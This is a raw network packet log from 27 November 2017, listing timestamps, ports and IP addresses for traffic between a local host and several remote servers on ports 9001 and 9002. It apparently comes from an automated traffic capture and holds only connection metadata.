Nov 27, 2017 12:35:37.985354900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.986124039 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.986149073 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.986303091 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.986318111 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.986409903 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.986423016 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.987216949 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.987234116 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.987313986 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.987328053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:37.987560987 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:37.987576008 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.049566031 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.059214115 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.059256077 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.059398890 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.059438944 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.064464092 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.064510107 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.064737082 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.064783096 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.078515053 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.078558922 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.078963041 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.079006910 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.082067966 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.082245111 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.082269907 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.197202921 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.197238922 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.197752953 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.197788000 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.222903967 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.222935915 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.222984076 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.223206997 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.223261118 CET	9001	49175	192.160.102.164	192.168.1.91
Nov 27, 2017 12:35:38.294930935 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.296655893 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.296746969 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.296956062 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.296987057 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.297110081 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.297127962 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.297322035 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.297343969 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.297687054 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.297718048 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.297930002 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:38.297952890 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:38.347887993 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.347930908 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.348239899 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.348308086 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.354171038 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.354207993 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.354346991 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.354389906 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.366944075 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.366978884 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.367156982 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.367192984 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.376810074 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.377070904 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.377095938 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.429559946 CET	49175	9001	192.168.1.91	192.160.102.164
Nov 27, 2017 12:35:38.449687004 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.449702024 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.450114012 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.450151920 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.456794024 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.456809998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.456902981 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.456923008 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460592985 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460613966 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460664988 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460675001 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460680962 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.460705042 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.460724115 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.461162090 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.461440086 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.461504936 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.461514950 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.461918116 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.461935997 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.463960886 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.463975906 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.464126110 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.464154005 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.464242935 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.465101004 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.465131998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.495582104 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.495625019 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.495657921 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.495847940 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.509943008 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.516933918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.517322063 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.517352104 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.538224936 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.538250923 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.538445950 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.538464069 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.539891005 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.539915085 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540034056 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540050030 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540060997 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540141106 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.540152073 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540179968 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540193081 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540209055 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.540682077 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.540700912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.541129112 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.545222044 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.545281887 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.545327902 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.545346022 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.545413017 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.545429945 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.545947075 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.545960903 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.547136068 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.547161102 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.547468901 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.547483921 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.556341887 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.556374073 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.556603909 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.556674957 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.558773994 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.558799982 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.558986902 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.559035063 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561497927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561526060 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561709881 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.561749935 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561803102 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561842918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561939955 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561955929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.561966896 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.562048912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.562220097 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.562267065 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.562598944 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.562901974 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.565949917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.565978050 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.565988064 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.565998077 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.566057920 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.566184044 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.566234112 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.625539064 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.625575066 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.625909090 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.625948906 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.709999084 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.710031033 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.710042000 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.710051060 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.710127115 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.710342884 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.710391045 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.717426062 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.717453957 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.717571974 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.717608929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.722209930 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.722237110 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.722330093 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.722361088 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.747761011 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.747802019 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.747811079 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.747963905 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.748006105 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754760981 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754792929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754895926 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754911900 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754930019 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.754934072 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.754956961 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.757689953 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.758430004 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.758456945 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.758465052 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.758536100 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.761442900 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.761679888 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762182951 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762201071 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762209892 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762320042 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.762352943 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762593985 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762614965 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.762701035 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.762731075 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.767842054 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.767872095 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.767880917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.767977953 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.767997980 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.768542051 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.768575907 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.768651009 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.768667936 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.768685102 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.768698931 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.770865917 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.770894051 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.770991087 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.770992994 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.771008968 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.771020889 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.771039009 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.771667004 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.772162914 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.772313118 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.775178909 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.775207996 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.775222063 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.775319099 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.775456905 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.775497913 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.775512934 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.775525093 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.776084900 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.776108027 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.776200056 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.776221037 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.778460026 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.778486967 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.778552055 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.778570890 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.778588057 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.778604031 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.779660940 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.779680014 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.781620026 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.781972885 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.783072948 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.783418894 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.795864105 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.795895100 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.796030045 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.797487974 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.797513962 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.797590017 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.797851086 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.797872066 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.797879934 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.798037052 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.798955917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.798994064 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.799002886 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.799113035 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.801904917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.801935911 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.801944971 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.802028894 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.802982092 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.803008080 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.803109884 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.804198980 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804224014 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804325104 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.804457903 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804478884 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804496050 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804783106 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804797888 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804955959 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804974079 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.804989100 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.805191040 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.805234909 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.806668997 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.806848049 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.806883097 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.807298899 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.807447910 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.807480097 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.810890913 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.810915947 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.811053991 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.811098099 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.811429024 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.811446905 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.811568975 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.811611891 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.812221050 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.812243938 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.812315941 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.812319040 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.812340021 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.812356949 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.813375950 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.813400984 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.813555002 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.813576937 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.813586950 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.814919949 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.814944983 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.815063953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.815082073 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.816930056 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.816951036 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.817049026 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.817070007 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.818001032 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.818025112 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.818077087 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.818114996 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.818135023 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.819330931 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819355011 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819372892 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819384098 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819467068 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.819487095 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819503069 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.819529057 CET	9002	49182	208.80.154.39	192.168.1.91
